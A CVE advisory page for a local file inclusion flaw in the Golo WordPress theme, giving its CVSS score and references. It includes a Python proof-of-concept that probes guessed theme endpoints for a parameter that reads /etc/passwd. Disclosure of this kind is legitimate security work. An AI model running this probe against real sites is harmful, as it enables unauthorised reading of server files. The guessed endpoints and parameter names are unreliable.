CVE-2026-23975

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in uxper Golo golo allows PHP Local File Inclusion.This issue affects Golo: from n/a through < 1.7.5.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Golo < 1.7.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2026-23975 PoC - Local File Inclusion in Golo Theme
# Target: WordPress site with vulnerable Golo theme < 1.7.5

target = "http://target-site.com"

# PoC for reading /etc/passwd
payload = "/etc/passwd"

# Common vulnerable endpoints in Golo theme
vulnerable_paths = [
    "/wp-content/themes/golo/framework/plugin.php",
    "/wp-content/themes/golo/inc/functions.php",
    "/wp-content/themes/golo/ajax.php"
]

for path in vulnerable_paths:
    url = target + path
    params = {
        "file": payload  # or "template", "include", etc.
    }
    try:
        response = requests.get(url, params=params, timeout=10)
        if "root:" in response.text or "bin:" in response.text:
            print(f"[+] Vulnerable endpoint found: {url}")
            print(f"[+] Content preview:\n{response.text[:500]}")
    except requests.RequestException as e:
        print(f"[-] Error testing {url}: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-23975
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-23975
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-23975/
[4] VulDB https://vuldb.com/cve/CVE-2026-23975
[5] https://patchstack.com/database/Wordpress/Theme/golo/vulnerability/wordpress-golo-theme-1-7-5-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

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